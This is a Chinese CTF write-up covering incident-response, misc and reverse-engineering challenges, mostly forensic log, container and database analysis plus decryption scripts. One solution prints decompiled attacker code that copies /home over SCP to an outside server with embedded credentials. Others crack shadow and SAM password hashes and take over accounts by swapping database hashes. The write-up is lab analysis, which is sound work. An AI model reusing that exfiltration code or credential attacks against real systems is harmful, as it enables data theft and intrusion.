队伍名:m43Tc2x
单位:南京邮电大学
RK.10
RP.5420
应急响应
1-1 | Soap
访问webserver的/var/log//nginx/error.log.1

1-2 | Pure
sudo -i
docker ps -a
docker exec -it ec87eb8a81c7 /bin/sh
ls
cat clean.sh
palu{192.168.31.11}
1-4 | Soap
打开win10的zjl账号,猜一下密码是zjl
然后乱点到task找到flag

palu{pc3_zgsfqwerlkssaw}
1-5 | Soap
命令 Get-ChildItem -Path C:\ -Recurse -Force | Select-String -Pattern “palu{” -CaseSensitive > C:\SearchResult_Flag_ps.txt全局扫flag

palu{nizhidaowoyouduoainima}
1-7 | Soap
win10的admin账户密码为zjl@123,进去后在回收站里面的简历.exe就是钓鱼文件,转成md5

1-8 | Pure
同样那个界面访问uploads然后ls再查看shell.php

palu{hack}
1-10 | Pure

查看日志发现尝试用a.php攻击,那么就找到a.php发现webshell密码
palu{00232}
2-1 | Sean
堡垒机里点击即送

2-2 | Sean
进WAF页面发现有很多拦截数据,同时不支持导出,那就只能从后台找了,先扫一遍有哪些docker容器

safeline-pg就是数据库容器,然后查看该容器的环境变量来获得用户名密码

然后登陆进该数据库,查看所有表命中出包含palu{的字段

2-3 | Sean
进入1Panel面板发现没有数据库,选择从服务器端同步,就能发现有一张flag的表,于是选择备份,并下载到本地,打开,得到flag


2-4 | Sean
要拿攻击者IP肯定看防火墙,然后直接看日志,把可能的IP都试了一下

palu{192.168.20.107}
2-6 | Sean
Docker先进nginx的容器,然后查看日志


palu{key.txt}
2-7 | Sean
要找一些明显不会在电脑中存在的信息,那么肯定从上面泄露的文件中找。查找key.txt位置


palu{parloo@parloo.com}
2-8 | Sean

palu{192.168.20.108}
2-9 | Sean
sshserver的账户密码
同样的查看/etc/passwd和/etc/shadow

$y$j9T$bLw/vAsrL.71gbi6NQPhI/$lpN9vHI0MYs/YL19ERrpaRpdrC37f5ya520xeG9BGiC
然后用John爆破一下,靠,rockyou字典爆了一两个小时都没出,只能换方法,从弱密码上考虑,于是用parloo,2025,palu等等字段排列组合,自己生成了一个字典(这里规则要加上$,以及年份要加上2025)

然后用John爆破,最终确定密码是parloo

palu{parloo/parloo}
2-10 | Sean

palu{hi_2025_parloo_is_hack}
2-12 | Sean
2-32中讲到的那个aa木马文件,扔云沙箱里直接看到连接地址

palu{47.101.213.153}
2-15 | Sean

2-18 | Sean

显然是hack用户名,palu{d78b6f30225cdc811adfe8d4e7c9fd34}
2-19 | Sean

2-24 | Sean
Parloo03的电脑上,在菜单栏的启动项里找到了恶意维权软件

palu{svhost}
2-25 | Sean
乱逛文件夹的时候找到这个,一眼发现是用pyinstaller打包的,显然不对

所以导出,逆向pyinstaller,大致反编译得到这样的代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import os
import paramiko
from scp import SCPClient
from pathlib import Path
def create_ssh_client(server, port, username, password, key_path = (None, None)):
'''
创建SSH客户端连接
'''
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# WARNING: Decompyle incomplete
def transfer_directory(scp, local_path, remote_path):
'''
递归传输目录
'''
for item in os.listdir(local_path):
local_item = os.path.join(local_path, item)
if os.path.islink(local_item):
print(f'''跳过符号链接: {local_item}''')
continue
remote_item = os.path.join(remote_path, item)
if os.path.isdir(local_item):
try:
scp.mkdir(remote_item)
finally:
pass
transfer_directory(scp, local_item, remote_item)
continue
print(f'''传输文件中: {local_item}''')
scp.put(local_item, remote_item)
continue
return None
def main():
ssh_config = {
'server': '88.173.90.103',
'port': 22,
'username': 'ubuntu',
'password': 'OOWPWPWADADA' }
local_home = '/home'
remote_base = '/home/ubuntu/backup_home'
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()palu{88.173.90.103}
2-26 | Sean
查看/var/log/parloo/command.log

palu{np85qqde.requestrepo.com}
2-27 | Sean
WAF面板查看所有利用反击序列化漏洞的攻击,尝试三个端口

palu{9999}
2-30 | Sean
cat /etc/passwd 查看用户
cat /etc/shadow 查看密码hash

John爆破hash得到123456
palu{parloohack/123456}
2-32 | Sean
找到这么一个aa文件,下载本地后被火绒识别为木马查杀,于是计算其文件的md5

palu{4123940b3911556d4bf79196cc008bf4}
2-33 | Sean

palu{X5E1yklz1oAdyHBZ}
2-34 | Sean
考虑到很多题目都是连续的,猛然发现上一题的用户名像是无意义数字,感觉有点像QQ号,于是去翻找到这个QQ号的空间,得到github ID:ParlooSEc
2-35 | Sean
于是,这个直接秒了https://github.com/ParlooSEc/fffflllgggg
palu{s5o3WkX33hptyJjk}
2-36 | Sean

palu{99}
2-37 | Sean
取证大师先把SYSTEM和SAM文件分离出来

然后使用SAMInside提取NTLM哈希值,自动爆破

palu{123456}
2-38 | Sean
从1Panel页面备份并下载gitea数据库

Ctrl+F查找palu得到flag

palu{crP1ZIVfqrkfdhGy}
2-39 | Sean
先新建一个账号,然后在数据库中把新账号的密码和两个盐值替换到hack和admin账号下面,重新上传SQL,就能用新账号密码登陆hack和admin账号。然后重启docker服务

palu{FO65SruuTukdpBS5}
2-40 | Sean
按常规,先看各个用户的默认路径下有没有奇怪的东西,ubuntu用户下没有,然后sudo su root在root用户下找到奇怪文件.a,取证大师提取出来后扔沙箱

palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}
2-41 | Sean
IDA打开,直接函数名就写明白了实现功能

palu{simulate_network_communication}
2-43 | Sean
上图,直接从函数名得到
palu{simulate_privilege_escalation}
2-44 | Sean
palu02的聊天界面能找到

显然使用者就是被钓鱼的用户,用户名Parloo-子怡
palu{Parloo-子怡}
2-45 | Sean
还是上图,显示了文件路径
palu{C:\Users\Public\Nwt\cache\recv\Parloo-沉沉}
2-46 | Sean
提取回执.exe,直接扔沙箱

palu{47.101.213.153}
2-47 | Sean

palu{admin/admin@qwer}
Misc
签到 | Soap
关注三个微信公众号拿三段flag
时间循环的信使 | Sean
题目描述说的很明白,按时间排序,然后和flag头的十六进制70 61 6c 75 7b对比了一下发现就是按顺序排列的
from Crypto.Util.number import *
lis = []
with open(r"C:\Users\SeanL\Downloads\timeloop.log", "r") as f:
while True:
if not (tmp := f.readline()):
break
tmp = tmp.strip().split("|")
lis += [(int(tmp[0]), tmp[1])]
lis.sort(key=lambda x: x[0])
ans = ""
for i in lis:
if len(set(i[1])) == 1:
ans += i[1][0]
print(long_to_bytes(int(ans, 16)))
# palu{Time_1s_cycl1c@l_0x}时间折叠(TimeFold Paradox) | Sean
试了一下感觉像是异或了一个数,发现确实如此,key是142
with open(r"C:\Users\SeanL\Downloads\timefold.log", "r") as f:
lines = [line.strip().split(" ") for line in f if line.strip()]
ans = ""
for i in lines[1:-1]:
ans += chr(int(i[-2][-2:],16)^142)
print(ans)
# palu{This_is_A_Sample_Flag_Change_Me!!}时空交织的密语 | Sean
一样,观察一下16进制就发现每4个字节的最后一位十六进制组合在一起就能拼成flag头,70 61 6c 75 7b
from Crypto.Util.number import *
tmp = open(r"C:\Users\SeanL\Downloads\timestream.bin", "rb").read()
ans = ""
for i in range(7,len(tmp)-1,4):
ans += hex(tmp[i]%0x10)[2:]
print(long_to_bytes(int(ans,16)))palu{Time_1s_B1nary_Whisper}
TopSecret | Sean
整体翻了一下发现在37页有文字重叠,用ps打开把盖在上面的文字挪开

palu{You_re_a_real_50w}
screenshot | Sean
ps大法,直接曝光到有细微区别,然后颜色曲线直接拉满

几何闪烁的秘密 | Sean
先把每一帧出现的字母按顺序提取出来,发现如果按竖着看,就和TopSecret里的Base64一样开头了
cYbb
GX2W
FNZV
s0f0
XX2n
tJVl
tfvg
cYbb
FNZV
s0f0
dZZc
XX2n
tfv9
cYbb
GX2W
FNZV
dZZc
XX2n
tJVl
tfvg
显然中间有几个是扰乱项,所以要剔除,也就是最终只取头尾各四个得到
cYbb
GX2W
FNZV
s0f0
dZZc
XX2n
tJVl
tfvg然后Base64得到palu{master_of_geometry}
量子迷宫 | Sean
附件名字提醒了是b85,直接将全文放在cyberchef里面,然后得到一串描述量子状态的文字
然后将每个量子之后的01拼在一起,就是flag
from Crypto.Util.number import *
s = """
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 2492°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 9059°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 3236°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 0343°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 4924°
QUBIT|1⟩ → Z Gate PHOTON: 9845°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 8636°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 3338°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate PHOTON: 9330°
QUBIT|1⟩ → X Gate PHOTON: 6444°
QUBIT|1⟩ → Z Gate PHOTON: 7332°
QUBIT|1⟩ → Z Gate PHOTON: 2802°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 7495°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 2260°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3385°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 6747°
QUBIT|0⟩ → Z Gate PHOTON: 7225°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 1308°
QUBIT|1⟩ → Y Gate PHOTON: 3430°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 9519°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 0681°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Z Gate PHOTON: 5267°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 0578°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 4193°
QUBIT|1⟩ → Y Gate PHOTON: 7897°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 3655°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 7451°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 3026°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 0545°
QUBIT|1⟩ → Z Gate PHOTON: 3109°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 5961°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3891°
QUBIT|0⟩ → Z Gate PHOTON: 3526°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 0700°
QUBIT|0⟩ → Y Gate PHOTON: 2206°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 5413°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 5012°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 4919°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 7619°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 4026°
QUBIT|1⟩ → Y Gate PHOTON: 1952°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 7901°
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 3892°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 4439°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate PHOTON: 3298°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 9048°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0633°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 8723°
QUBIT|0⟩ → X Gate PHOTON: 4862°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 3813°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 9300°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate PHOTON: 0159°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 9077°
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate PHOTON: 0583°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 9046°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate PHOTON: 0098°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 2017°
QUBIT|1⟩ → Y Gate PHOTON: 0108°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → X Gate PHOTON: 7067°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 6973°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 1550°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 4732°
QUBIT|0⟩ → Z Gate PHOTON: 6940°
QUBIT|1⟩ → X Gate PHOTON: 1123°
QUBIT|1⟩ → Z Gate PHOTON: 0032°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 6720°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0875°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate PHOTON: 8508°
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 9894°
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate PHOTON: 7651°
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 7204°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → X Gate PHOTON: 2550°
QUBIT|1⟩ → X Gate PHOTON: 6890°
QUBIT|1⟩ → Y Gate PHOTON: 8092°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → X Gate PHOTON: 0575°
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 9590°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 6469°
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 7200°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate PHOTON: 4411°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Z Gate
QUBIT|0⟩ → Z Gate PHOTON: 8476°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Y Gate PHOTON: 3776°
QUBIT|1⟩ → X Gate PHOTON: 8227°
QUBIT|1⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate PHOTON: 8469°
QUBIT|1⟩ → Y Gate PHOTON: 6517°
QUBIT|1⟩ → Y Gate
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 3588°
QUBIT|1⟩ → Z Gate PHOTON: 8744°
QUBIT|0⟩ → Y Gate PHOTON: 8223°
QUBIT|1⟩ → Y Gate PHOTON: 2057°
QUBIT|0⟩ → Y Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate PHOTON: 9726°
QUBIT|0⟩ → Z Gate PHOTON: 7367°
QUBIT|1⟩ → Z Gate PHOTON: 5832°
QUBIT|1⟩ → X Gate PHOTON: 3121°
QUBIT|0⟩ → X Gate
QUBIT|1⟩ → Y Gate PHOTON: 0258°
QUBIT|0⟩ → Z Gate
QUBIT|0⟩ → X Gate
QUBIT|0⟩ → Z Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Z Gate
QUBIT|1⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 7832°
QUBIT|0⟩ → Y Gate
QUBIT|1⟩ → Y Gate PHOTON: 0422°
"""
s = s.split('\n')[1:-1]
res = ""
for i in s:
res += i[6]
print(long_to_bytes(int(res, 2)))
# palu{aea437c12b149750383fe56727ec5344}Reverse
encrypted | Soap
简单异或,用前缀palu{猜一下异或数字
a='qcoq~Vh{e~bccocH^@Lgt{gt|g'
for i in range(len(a)):
print(chr(ord(a[i])^(i+1)),end='')
# palu{PosltionalXOR_sample}CatchPalu | Soap

这一段hook了messageboxa的函数地址,在这段代码之后调用的messageboxa都会变成sub_401360
动态调试看看
这里flag输入要输入附件里面的假flag,也就是palu{P1au_D0nt_Bel1eve},才能进入下面的messageboxa逻辑
进去就可以发现真正的比对函数,这里给硬编码的v8加密,似乎是魔改rc4,但不需要编写代码,直接进函数sub_CE1270,等函数走完看v8内存就行


ps:这里我做题的时候密钥被改变了,我当时手动修改回了forpalu,但这里复现写wp的时候密钥却是正确的,不知道什么情况…
Asymmetric | Soap
又是一个go,长得很丑得耐心点看

动态调试慢慢分析,可以发现其实是一个rsa,数据都给了,但是要因式分解,随便找个网站分一下

from Crypto.Util.number import inverse
N_str = "100000000000000106100000000000003093"
e = 65537
C_str = "94846032130173601911230363560972235"
N = int(N_str)
C = int(C_str)
p1 = 3
p2 = 47
p3 = 2287
p4 = 3101092514893
p5 = 100000000000000003
phi_N = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1)
d = inverse(e, phi_N)
M = pow(C, d, N)
M_str = str(M)
print("计算出的输入字符串是:", M_str)
# 2279348573780051194351488552157565
a=2279348573780051194351488552157565
print(a.to_bytes(16,'big'))
# palu{3a5Y_R$A}PaluArray | Soap
简单的crackme,只不过函数长得很恶心
先根据字符串定位到主函数逻辑

其实就是要让v13=1145141919810
至于v13的生成逻辑,要看sub_7FF6987E1994

简单来说,就是根据传入的v4,在off_7FF6987E9B48里找索引值
动态调试可以发现,v4其实就是我们输入的字符串,那么先解出来我们输入的字符串是什么
a=[0x50,0x61,0x6C,0x75,0x5F,0x39,0x39,0x36,0x21,0x3F]
b='1145141919810'
for i in b:
print(chr(a[int(i,10)]),end='')
# aa_9a_a?a?!aP把这个输入就得到flag了

PaluFlat | Soap
.com文件,用7zip解压,解压得到一个1g的文件,有点吓人。。。
不过主要逻辑不难

我们的输入经过函数401550加密,再与硬编码的密文比对即可
sub_401550被控制流平坦化混淆,有些难看
但我把这个函数丢给ai它直接就分析出来了…运气还行

enc=[0x54,0x84,0x54,0x44,0xA4,0xB2,0x84,0x54,0x62,0x32,0x8F,0x54,0x62,0xB2,0x54,0x3,0x14,0x80,0x43]
def decrypt(ciphertext):
key1 = "palu"
key2 = "flat"
plaintext = []
for i, c in enumerate(ciphertext):
# 选择密钥
key = key1 if i % 2 == 0 else key2
k = key[i % len(key)]
# 解密步骤
v11 = ~c & 0xFF # 取反(注意处理符号)
v11 = (v11 + 85) & 0xFF # 加 85
v11 = ((v11 << 4) | (v11 >> 4)) & 0xFF # 交换高低四位
plaintext.append(chr(v11 ^ ord(k))) # 异或密钥
return ''.join(plaintext)
print(decrypt(enc))
# palu{Fat_N0t_Flat!}palugogogo | Soap
简单的go逆向,我用的ida9版本可以直接显示函数符号,不知道低版本的怎么样,go逆向就是函数长得太丑了很难看,但动态调试分析并不难
这里一开始有个反调试,hook掉返回值过掉就行

具体比对逻辑在下面

输入的flag经过encrypt这个函数加密,再与硬编码的密文比对,其中value与我们输入的无关,它是程序内部自生成的密钥,直接动调拿就可以

至于这个加密也是耐心动调分析就能出,一开始我测试了一下,发现是逐字节加密,加密逻辑如下
a='palu{asdasdsajkhfjasf}'
value=0x4f
for i in range(len(a)):
print(hex(ord(a[i])+value+(i%5)),end=',')照着解密就可以
enc=[0xbf,0xb1,0xbd,0xc7,0xce,0x96,0x80,0x98,0x82,0x9a,0x7f,0xaf,0xc1,0xb3,0xbf,0xc4,0xcd]
value=0x4f
for i in range(len(enc)):
print(chr(enc[i]-value-(i%5)),end='')
# palu{G0G0G0_palu}ParlooChecker | Soap
个人感觉最难的一道题,太考验耐心了
apk逆向,但jadx看不出东西,转到jeb

主要加密比对逻辑被藏在本地c++库parloo里面,解压apk看一下so文件,so文件的导出表只有一个函数,就是oncreat3

函数没任何符号,动调so文件又有些麻烦,只能一个个看了,前面的没什么用,直接看else部分
sub_29390、sub_291D0两个函数进行初始化,这部分使用rc4创建了后面加密要用的密钥,后面有很多函数都不用过多分析,大多起到混淆、分配内存或是格式化字符串作用
sub_28D30里面藏了一个xtea

大致逻辑如上,主要调用rc4生成密钥之类的,再调用tea加密原文,大多数函数都没有任何作用
ps:如果不用AI我可能要花更多时间。。。
import struct
import sys
a=[0x99,0xDD,0x56,0xFF,0x6D,0xD9,0x55,0x54,0x42,0x4D,0x79,0x1A,0x34,0xB7,0x81,0x2F]
UNK_10170 = b''
for i in a:
UNK_10170+=i.to_bytes(1)
b=[0x87,0xC1,0x56,0xC0,0x4C,0xF4,0x63,0x4F]
UNK_10180 = b''
for i in b:
UNK_10180+=i.to_bytes(1)
enc=[0xA9,0xB,0x5C,0x1C,0xA3,0x41,0x88,0xCA,0x66,0xD9,0x77,0x1D,0x78,0x3,0x8E,0x7A,0xBA,0x7B,0xD4,0x90,0xCD,0x50,0x7,0x83,0x41,0x4A,0x82,0x9C,0x79,0x1D,0xCC,0x6F,0x9D,0x2F,0x39,0x2D,0xA2,0xDA,0x83,0x1B]
TARGET_CIPHERTEXT = b''
for i in enc:
TARGET_CIPHERTEXT+=i.to_bytes(1)
def rc4_ksa(key):
"""RC4 Key-Scheduling Algorithm (based on sub_2C740)"""S = list(range(256))
j = 0
key_bytes = key
key_len = len(key_bytes)
for i in range(256):
j = (j + S[i] + key_bytes[i % key_len]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_prga_sub_293E0(initial_S, input_data):
"""RC4 Pseudo-Random Generation Algorithm (based on sub_293E0 loop)"""S = list(initial_S)
output_data = bytearray(len(input_data))
v8 = 0
v7 = 0
for k in range(len(input_data)):
v8 = (v8 + 1) % 256
v7 = (v7 + S[v8]) % 256
S[v8], S[v7] = S[v7], S[v8]
keystream_index = (S[v7] + S[v8]) % 256
keystream_byte = S[keystream_index]
output_data[k] = keystream_byte ^ input_data[k]
return bytes(output_data)
XTEA_DELTA_CONSTANT = 1640531527 # 0x61C88647
def calculate_encryption_v4_sequence(key_bytes):
"""计算加密轮次中 v4 值的序列。"""v4_sequence = [0]
v4_current = 0
k = [
struct.unpack('<I', key_bytes[i*4 : i*4+4])[0]
for i in range(4)
]
for round_index in range(32):
k2_index = round_index & 3
k2 = k[k2_index]
v4_update_term = (round_index ^ k2) - XTEA_DELTA_CONSTANT
v4_current = (v4_current + v4_update_term) & 0xFFFFFFFF
v4_sequence.append(v4_current)
return v4_sequence
def decrypt_block_round(v6_end, v5_end, v4_start_of_round, v4_end_of_round, round_index, key_bytes):
"""解密定制 XTEA 变种的一轮。"""v6_end = v6_end & 0xFFFFFFFF
v5_end = v5_end & 0xFFFFFFFF
v4_start_of_round = v4_start_of_round & 0xFFFFFFFF
v4_end_of_round = v4_end_of_round & 0xFFFFFFFF
k = [
struct.unpack('<I', key_bytes[i*4 : i*4+4])[0]
for i in range(4)
]
k3_index = (v4_end_of_round >> 11) & 3
k3 = k[k3_index]
intermediate_term2 = v6_end + ((v6_end >> 5) ^ (v6_end << 4))
term2 = (k3 + v4_end_of_round) ^ intermediate_term2
v5_start = (v5_end - term2) & 0xFFFFFFFF
k1_index = v4_start_of_round & 3
k1 = k[k1_index]
intermediate_term1 = v5_start + ((v5_start >> 5) ^ (v5_start << 4))
term1 = (k1 + v4_start_of_round) ^ intermediate_term1
v6_start = (v6_end - term1) & 0xFFFFFFFF
return (v6_start, v5_start)
def cbc_decrypt(ciphertext, key, iv):
"""使用定制 XTEA 变种以 CBC 模式解密密文。"""block_size = 8 # 字节
if len(ciphertext) % block_size != 0:
print(f"错误:密文长度 ({len(ciphertext)}) 不是分组大小 ({block_size}) 的倍数。无法执行 CBC 解密。")
sys.exit(1)
v4_sequence = calculate_encryption_v4_sequence(key)
plaintext_bytes = bytearray()
previous_ciphertext_block = iv
for i in range(0, len(ciphertext), block_size):
current_ciphertext_block = ciphertext[i : i + block_size]
c0, c1 = struct.unpack('<II', current_ciphertext_block)
decrypted_block_state = (c0, c1)
for reverse_round_index in range(31, -1, -1):
v4_start = v4_sequence[reverse_round_index]
v4_end = v4_sequence[reverse_round_index + 1]
decrypted_block_state = decrypt_block_round(
decrypted_block_state[0], decrypted_block_state[1],
v4_start, v4_end,
reverse_round_index,
key
)
p_prime_bytes = struct.pack('<II', decrypted_block_state[0], decrypted_block_state[1])
plaintext_block = bytes([
p_prime_bytes[j] ^ previous_ciphertext_block[j] for j in range(block_size)
])
plaintext_bytes.extend(plaintext_block)
previous_ciphertext_block = current_ciphertext_block
return bytes(plaintext_bytes)
if not UNK_10170 or len(UNK_10170) != 16:
print("错误:请提供 UNK_10170 的 16 字节数据,需从 SO 文件中提取。")
elif not UNK_10180 or len(UNK_10180) != 8:
print("错误:请提供 UNK_10180 的 8 字节数据,需从 SO 文件中提取。")
